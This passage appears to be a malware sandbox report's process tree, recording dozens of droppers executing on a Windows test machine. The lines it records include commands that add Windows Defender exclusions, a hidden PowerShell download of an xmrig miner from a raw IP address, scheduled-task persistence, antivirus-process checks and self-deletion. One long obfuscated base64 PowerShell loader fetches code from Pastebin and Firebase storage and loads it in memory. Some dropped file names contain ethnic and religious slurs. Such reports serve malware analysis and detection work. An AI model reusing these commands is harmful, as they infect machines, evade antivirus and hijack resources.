-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe.js"5⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\adobe.js"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bsg.exebsg.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NjtIeMV.exeNjtIeMV.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\d88nzn5YHEHMocs.exed88nzn5YHEHMocs.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\d88nzn5YHEHMocs.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\d88nzn5YHEHMocs.exe"C:\Users\Admin\AppData\Local\Temp\a\d88nzn5YHEHMocs.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lk5Bp4t.exelk5Bp4t.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Users\Admin\Documents\sJXNmFh3ukeK.exe"C:\Users\Admin\Documents\sJXNmFh3ukeK.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hJFvGvb.exehJFvGvb.exe4⤵
-
C:\ProgramData\mybotos.exe"C:\ProgramData\mybotos.exe"5⤵
-
C:\ProgramData\botoboto\mybotos.exe"C:\ProgramData\botoboto\mybotos.exe" {850A2B3D-27DA-4872-B725-C6EFA8D6256A}6⤵
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"7⤵
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exeIEYKxpnUH9R9m17.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hJFvGvb.exehJFvGvb.exe4⤵
-
C:\ProgramData\mybotos.exe"C:\ProgramData\mybotos.exe"5⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i I82fNYv.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exeXPQeEQubuBaya8g.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exeXaUfT3G.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.execaKQ8MKaahzyEGL.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\filed.exefiled.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1210.exe1210.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\idiotropicEk4.exeidiotropicEk4.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Muncerian.exeMuncerian.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Winrar64Unlocked.exeWinrar64Unlocked.exe4⤵
-
C:\Users\Admin\AppData\Local\VioletClient3335.exe"C:\Users\Admin\AppData\Local\VioletClient3335.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Outputunkmwn_protected.exe"C:\Users\Admin\AppData\Local\Outputunkmwn_protected.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Snapchat Installer.exe"C:\Users\Admin\AppData\Local\Temp\Snapchat Installer.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\VioletClient.exe"C:\Users\Admin\AppData\Local\VioletClient.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "VioletClient" /tr "C:\Users\Admin\AppData\Roaming\VioletClient.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Local\VioletClient3335_protected.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Winrar64.exe"C:\Users\Admin\AppData\Local\Winrar64.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"6⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c 2.bat4⤵
-
C:\Windows\system32\cscript.execscript //nologo //E:JScript "C:\Users\Admin\AppData\Local\Temp\a\2.bat"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a\2.bat"6⤵
-
C:\Windows\system32\cscript.execscript //nologo //E:JScript "C:\Users\Admin\AppData\Local\Temp\a\2.bat"7⤵
-
-
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\c3oo"5⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "Invoke-WebRequest -Uri 'http://45.204.214.219:1230/xmrig.exe' -OutFile 'C:\Users\Admin\c3oo\xmrig.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jeiriaP.exejeiriaP.exe4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Translated.jar5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\84hginT.exe84hginT.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Qs3D6Fk.exeQs3D6Fk.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tlp.exetlp.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Server.exeServer.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\a\Server.exe > nul5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\reverse-ssh-windows-amd64.exereverse-ssh-windows-amd64.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol11.exelol11.exe4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Helped.wks5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe1488.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe"C:\Users\Admin\AppData\Local\Temp\a\1488.exe"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File sd4.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File sd2.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Renewable.exeRenewable.exe4⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener2.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT的这Hk的这cwB0的这GU的这bQ的这u的这E4的这ZQB0的这C4的这UwBl的这HI的这dgBp的这GM的这ZQBQ的这G8的这aQBu的这HQ的这TQBh的这G4的这YQBn的这GU的这cgBd的这Do的这OgBT的这GU的这YwB1的这HI的这aQB0的这Hk的这U的这By的这G8的这d的这Bv的这GM的这bwBs的这C的这的这PQ的这g的这Fs的这UwB5的这HM的这d的这Bl的这G0的这LgBO的这GU的这d的这的这u的这FM的这ZQBj的这HU的这cgBp的这HQ的这eQBQ的这HI的这bwB0的这G8的这YwBv的这Gw的这V的这B5的这H的这的这ZQBd的这Do的这OgBU的这Gw的这cw的这x的这DI的这Ow的这k的这Ho的这RgBL的这GE的这QQ的这g的这D0的这I的这的这n的这Gg的这d的这B0的这H的这的这cw的这6的这C8的这LwBw的这GE的这cwB0的这GU的这YgBp的这G4的这LgBj的这G8的这bQ的这v的这HI的这YQB3的这C8的这agBn的这Es的这VwBM的这GM的这M的这BT的这Cc的这I的这的这7的这CQ的这SQBl的这H的这的这RwBR的这C的这的这PQ的这g的这Cg的这I的这Bb的这FM的这eQBz的这HQ的这ZQBt的这C4的这SQBP的这C4的这U的这Bh的这HQ的这a的这Bd的这Do的这OgBH的这GU的这d的这BU的这GU的这bQBw的这F的这的这YQB0的这Gg的这K的这的这p的这C的这的这Kw的这g的这Cc的这aQB0的这HQ的这c的这BB的这C4的这d的这B4的这HQ的这Jw的这p的这Ds的这J的这B3的这GU的这YgBD的这Gw的这aQBl的这G4的这d的这的这g的这D0的这I的这BO的这GU的这dw的这t的这E8的这YgBq的这GU的这YwB0的这C的这的这UwB5的这HM的这d的这Bl的这G0的这LgBO的这GU的这d的这的这u的这Fc的这ZQBi的这EM的这b的这Bp的这GU的这bgB0的这C的这的这Ow的这k的这FI的这VgBV的这Fg的这dg的这g的这D0的这I的这的这k的这Hc的这ZQBi的这EM的这b的这Bp的这GU的这bgB0的这C4的这R的这Bv的这Hc的这bgBs的这G8的这YQBk的这FM的这d的这By的这Gk的这bgBn的这Cg的这I的这的这k的这Ho的这RgBL的这GE的这QQ的这g的这Ck的这I的这的这7的这CQ的这UgBW的这FU的这W的这B2的这C的这的这f的这的这g的这E8的这dQB0的这C0的这RgBp的这Gw的这ZQ的这g的这C0的这RgBp的这Gw的这ZQBQ的这GE的这d的这Bo的这C的这的这J的这BJ的这GU的这c的这BH的这FE的这I的这的这t的这EU的这bgBj的这G8的这Z的这Bp的这G4的这Zw的这g的这Cc的这VQBU的这EY的这O的这的这n的这C的这的这LQBm的这G8的这cgBj的这GU的这I的这的这7的这CQ的这UwBU的这GY的这RwBs的这C的这的这PQ的这g的这Cg的这I的这Bb的这FM的这eQBz的这HQ的这ZQBt的这C4的这SQBP的这C4的这U的这Bh的这HQ的这a的这Bd的这Do的这OgBH的这GU的这d的这BU的这GU的这bQBw的这F的这的这YQB0的这Gg的这K的这的这p的这C的这的这Kw的这g的这Cc的这UgBU的这Hg的这dQB2的这C4的这d的这B4的这HQ的这Jw的这p的这C的这的这Ow的这k的这F的这的这a的这By的这Gw的这Tg的这g的这D0的这I的这BO的这GU的这dw的这t的这E8的这YgBq的这GU的这YwB0的这C的这的这UwB5的这HM的这d的这Bl的这G0的这LgBO的这GU的这d的这的这u的这Fc的这ZQBi的这EM的这b的这Bp的这GU的这bgB0的这C的这的这Ow的这k的这F的这的这a的这By的这Gw的这Tg的这u的这EU的这bgBj的这G8的这Z的这Bp的这G4的这Zw的这g的这D0的这I的这Bb的这FM的这eQBz的这HQ的这ZQBt的这C4的这V的这Bl的这Hg的这d的这的这u的这EU的这bgBj的这G8的这Z的这Bp的这G4的这ZwBd的这Do的这OgBV的这FQ的这Rg的这4的这C的这的这Ow的这k的这EQ的这S的这B6的这FU的这QQ的这g的这C的这的这PQ的这g的这Cg的这I的这BH的这GU的这d的这的这t的这EM的这bwBu的这HQ的这ZQBu的这HQ的这I的这的这t的这F的这的这YQB0的这Gg的这I的这的这k的这Ek的这ZQBw的这Ec的这UQ的这g的这Ck的这I的这的这7的这CQ的这dQBU的这Gw的这S的这B6的这C的这的这PQ的这g的这CQ的这U的这Bo的这HI的这b的这BO的这C4的这R的这Bv的这Hc的这bgBs的这G8的这YQBk的这FM的这d的这By的这Gk的这bgBn的这Cg的这I的这的这k的这EQ的这S的这B6的这FU的这QQ的这g的这Ck的这I的这的这7的这CQ的这dQBU的这Gw的这S的这B6的这C的这的这f的这的这g的这E8的这dQB0的这C0的这RgBp的这Gw的这ZQ的这g的这C0的这RgBp的这Gw的这ZQBQ的这GE的这d的这Bo的这C的这的这J的这BT的这FQ的这ZgBH的这Gw的这I的这的这t的这GY的这bwBy的这GM的这ZQ的这g的这Ds的这J的这Bn的这EQ的这dwBG的这HU的这I的这的这9的这C的这的这JwBM的这G8的这YQBk的这Cc的这Ow的这k的这Fc的这RgBu的这Gw的这Zw的这g的这D0的这I的这的这n的这Gk的这bgB2的这G8的这awBl的这Cc的这Ow的这k的这EY的这bwBH的这G0的这Zw的这g的这D0的这I的这的这k的这G4的这dQBs的这Gw的这Ow的这k的这E0的这TwBE的这FI的这Zw的这g的这D0的这I的这的这g的这Cc的这J的这Bt的这E0的这TwBq的这FU的这I的这的这9的这C的这的这Jw的这n的这DQ的这YgBl的这DM的这MQ的这3的这GM的这O的这Bi的这GE的这ZQBi的这C0的这M的这的这4的这Dk的这Yg的这t的这DU的这NQBh的这DQ的这LQ的这1的这GI的这Yg的这y的这C0的这O的这Bl的这DQ的这O的这的这1的这GY的这Zg的这y的这D0的这bgBl的这Gs的这bwB0的这CY的这YQBp的这GQ的这ZQBt的这D0的这d的这Bs的这GE的这PwB0的这Hg的这d的这的这u的这GU的这d的这Bz的这G8的这cwBp的这GI的这YQBm的这G0的这ZQBy的这C8的这bw的这v的这H的这的这c的这Bh的这C4的这ZQBn的这GE的这cgBv的这HQ的这cwBl的这HM的这YQBi的这GU的这cgBp的这GY的这Lg的这3的这D的这的这O的这的这3的这Dk的这LQBp的这GI的这YQBm的这G8的这cgBw的这C8的这Yg的这v的这D的这的这dg的这v的这G0的这bwBj的这C4的这cwBp的这H的这的这YQBl的这Gw的这ZwBv的这G8的这Zw的这u的这GU的这ZwBh的这HI的这bwB0的这HM的这ZQBz的这GE的这YgBl的这HI的这aQBm的这C8的这Lw的这6的这Cc的这Jw的这g的这Cs的这I的这的这n的这Cc的这cwBw的这HQ的这d的这Bo的这Cc的这Jw的这7的这Ds的这J的这B4的这C的这的这PQ的这g的这Cg的这SgBv的这Gk的这bg的这t的这F的这的这YQB0的这Gg的这I的这的这k的这GU的这bgB2的这Do的这V的这BF的这E0的这U的这的这g的这Cc的这JwBS的这FQ的这e的这B1的这HY的这LgB0的这Hg的这d的这的这n的这Cc的这KQ的这7的这CQ的这cgB5的这GE的这ZQBH的这C的这的这PQ的这g的这Cg的这RwBl的这HQ的这LQBD的这G8的这bgB0的这GU的这bgB0的这C的这的这LQBQ的这GE的这d的这Bo的这C的这的这J的这B4的这C的这的这LQBF的这G4的这YwBv的这GQ的这aQBu的这Gc的这I的这BV的这FQ的这Rg的这4的这Ck的这Ow的这k的这HI的这eQBh的这GU的这Rw的这g的这D0的这I的这的这k的这HI的这eQBh的这GU的这Rw的这u的这HI的这ZQBw的这Gw的这YQBj的这GU的这K的这的这n的这Cc的这J的这的这k的这Cc的这Jw的这s的这Cc的这JwBB的这Cc的这Jw的这p的这Ds的这Jw的这g的这Ds的这J的这BN的这E8的这R的这BS的这Gc的这I的这的这r的这D0的这I的这的这n的这Fs的这QgB5的这HQ的这ZQBb的这F0的这XQ的这g的这CQ的这bwBU的这EY的这ZQBz的这C的这的这PQ的这g的这Fs的这cwB5的这HM的这d的这Bl的这G0的这LgBD的这G8的这bgB2的这GU的这cgB0的这F0的这Og的这6的这EY的这cgBv的这G0的这QgBh的这HM的这ZQ的这2的这DQ的这UwB0的这HI的这aQBu的这Gc的这K的这的这g的这CQ的这cgB5的这GE的这ZQBH的这C的这的这KQ的这g的这Ds的这Jw的这g的这Ds的这J的这BN的这E8的这R的这BS的这Gc的这I的这的这r的这D0的这I的这的这n的这Fs的这UwB5的这HM的这d的这Bl的这G0的这LgBB的这H的这的这c的这BE的这G8的这bQBh的这Gk的这bgBd的这Do的这Jw的这g的这Cs的这I的这的这n的这Do的这QwB1的这HI的这cgBl的这G4的这d的这BE的这G8的这bQBh的这Gk的这bg的这u的这Cc的这I的这的这r的这C的这的这J的这Bn的这EQ的这dwBG的这HU的这I的这的这r的这C的这的这Jw的这o的这C的这的这J的这Bv的这FQ的这RgBl的这HM的这I的这的这p的这C4的这Jw的这g的这Ds的这J的这BN的这E8的这R的这BS的这Gc的这I的这的这r的这D0的这I的这的这n的这Ec的这ZQB0的这FQ的这eQBw的这GU的这K的这的这g的这Cc的这JwBD的这Gw的这YQBz的这HM的这T的这Bp的这GI的这cgBh的这HI的这eQ的这z的这C4的这QwBs的这GE的这cwBz的这DE的这Jw的这n的这C的这的这KQ的这u的这Ec的这ZQB0的这E0的这Jw的这g的这Ds的这J的这BN的这E8的这R的这BS的这Gc的这I的这的这r的这D0的这I的这的这n的这GU的这d的这Bo的这G8的这Z的这的这o的这C的这的这Jw的这n的这E0的这cwBx的这EI的这SQBi的这Fk的这Jw的这n的这C的这的这KQ的这u的这Cc的这I的这的这r的这C的这的这J的这BX的这EY的这bgBs的这Gc的这I的这的这r的这C的这的这I的这的这n的这Cg的这I的这的这k的这EY的这bwBH的这G0的这Zw的这g的这Cw的这I的这Bb的这G8的这YgBq的这GU的这YwB0的这Fs的这XQBd的这C的这的这K的这的这g的这CQ的这bQBN的这E8的这agBV的这C的这的这L的这的这g的这Cc的这Jw的这l的这GY的这TwB5的这FI的这ZQ的这l的这Cc的这Jw的这g的这Cw的这I的这的这n的这Cc的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这F8的这XwBf的这C0的这LQ的这t的这C0的这LQ的这t的这C0的这Jw的这n的这Cw的这I的这的这n的这Cc的这M的这的这n的这Cc的这L的这的这g的这Cc的这Jw的这x的这Cc的这Jw的这s的这C的这的这Jw的这n的这FI的这bwBk的这GE的这Jw的这n的这C的这的这I的这的这p的这C的这的这KQ的这g的这Ds的这Jw的这g的这Ds的这J的这BW的这EI的这VwBX的这Ho的这I的这的这9的这C的这的这K的这的这g的这Fs的这UwB5的这HM的这d的这Bl的这G0的这LgBJ的这E8的这LgBQ的这GE的这d的这Bo的这F0的这Og的这6的这Ec的这ZQB0的这FQ的这ZQBt的这H的这的这U的这Bh的这HQ的这a的这的这o的这Ck的这I的这的这r的这C的这的这JwBu的这EE的这dgBF的这FI的这LgBw的这HM的这MQ的这n的这C的这的这KQ的这g的这Ds的这J的这BN的这E8的这R的这BS的这Gc的这I的这B8的这C的这的这TwB1的这HQ的这LQBG的这Gk的这b的这Bl的这C的这的这LQBG的这Gk的这b的这Bl的这F的这的这YQB0的这Gg的这I的这的这k的这FY的这QgBX的这Fc的这eg的这g的这C的这的这LQBm的这G8的这cgBj的这GU的这I的这的这7的这H的这的这bwB3的这GU的这cgBz的这Gg的这ZQBs的这Gw的这I的这的这t的这EU的这e的这Bl的这GM的这dQB0的这Gk的这bwBu的这F的这的这bwBs的这Gk的这YwB5的这C的这的这QgB5的这H的这的这YQBz的这HM的这I的这的这t的这EY的这aQBs的这GU的这I的这的这k的这FY的这QgBX的这Fc的这eg的这g的这Ds的这';;$MgOrq = ($IuJUJJZz -replace '的这' , 'A');;$IgvVM = [system.Convert]::FromBase64String( $MgOrq );;$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString($IgvVM);;powershell $Yolopolhggobek;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/jgKWLc0S' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'ittpA.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'RTxuv.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$gDwFu = 'Load';$WFnlg = 'invoke';$FoGmg = $null;$MODRg = '$mMOjU = ''4be317c8baeb-089b-55a4-5bb2-8e485ff2=nekot&aidem=tla?txt.etsosibafmer/o/ppa.egarotsesaberif.70879-ibaforp/b/0v/moc.sipaelgoog.egarotsesaberif//:'' + ''sptth'';;$x = (Join-Path $env:TEMP ''RTxuv.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'',''A'');' ;$MODRg += '[Byte[]] $oTFes = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.' + $gDwFu + '( $oTFes ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).' + $WFnlg + '( $FoGmg , [object[]] ( $mMOjU , ''%fOyRe%'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'nAvER.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\nAvER.ps17⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chr.exechr.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fd6ObfS.exefd6ObfS.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\CubQ32.exe"C:\Users\Admin\AppData\Local\Temp\CubQ32.exe"5⤵
-
C:\ProgramData\ToolWriter\CubQ32.exeC:\ProgramData\ToolWriter\CubQ32.exe6⤵
-
C:\Users\Admin\BridgeHa32.exeC:\Users\Admin\BridgeHa32.exe7⤵
-
-
C:\Users\Admin\AppData\Roaming\ToolWriter\XPFix.exe"C:\Users\Admin\AppData\Roaming\ToolWriter\XPFix.exe" "C:\Users\Admin\AppData\Roaming\ToolWriter\XPFix.exe" /u7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bip.exebip.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\logme.exelogme.exe4⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveUnattended.exe"C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveUnattended.exe" -regsvc5⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveProcessChecker.exe"C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveProcessChecker.exe" -regsvc -expectadmin -starterpid 14032 -InstallationId eMb5mwRvJS -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353" -ApplicationType 4 -Environment "Production" -ForceInstall 06⤵
-
-
-
C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveTools64.exe"C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveTools64.exe" -InstallVDD5⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveCrashHandler.exe"C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveCrashHandler.exe" "--database=C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\appdata\CrashReportDB" "--metrics-dir=C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\appdata\CrashReportDB" --url=https://dumpster.console.gotoresolve.com/api/dump --annotation=format=minidump --annotation=hostname=Nqxtaqlc --annotation=version=1.24.0.142 --initial-client-data=0x34c,0x350,0x354,0x344,0x358,0x7ff7c0ffbaf8,0x7ff7c0ffbb10,0x7ff7c0ffbb286⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /S /C ""C:\Users\Admin\AppData\Local\Temp\a\logme.exe.cmd" "C:\Users\Admin\AppData\Local\Temp\a\logme.exe""5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DesktopGoose.exeDesktopGoose.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\GooseDesktop.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\GooseDesktop.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\nNM31RQ.exenNM31RQ.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-9KA2C.tmp\nNM31RQ.tmp"C:\Users\Admin\AppData\Local\Temp\is-9KA2C.tmp\nNM31RQ.tmp" /SL5="$303B8,3425090,54272,C:\Users\Admin\AppData\Local\Temp\a\nNM31RQ.exe"5⤵
-
C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe"C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe" -i6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\FPKRaHZ.exeFPKRaHZ.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"C:\Users\Public\Documents\Wdeerd\Instance\\pack.zip\",\"C:\Users\Public\Documents\Wdeerd\Instance\")"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Public\Documents\Wdeerd\Instance\service.exe"C:\Users\Public\Documents\Wdeerd\Instance\service.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\redLOCKER.exeredLOCKER.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\lc.exe"C:\Users\Admin\AppData\Local\Temp\lc.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\pizdolizik.exe"C:\Users\Admin\AppData\Local\Temp\pizdolizik.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Workin everyday.exe"C:\Users\Admin\AppData\Local\Temp\Workin everyday.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\allah pidoras.exe"C:\Users\Admin\AppData\Local\Temp\allah pidoras.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ic.exeic.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\litvin goyda.exe"C:\Users\Admin\AppData\Local\Temp\litvin goyda.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\hitler gimn ukraina.exe"C:\Users\Admin\AppData\Local\Temp\hitler gimn ukraina.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\allah pidoras.exe"C:\Users\Admin\AppData\Local\Temp\allah pidoras.exe"5⤵
-
-
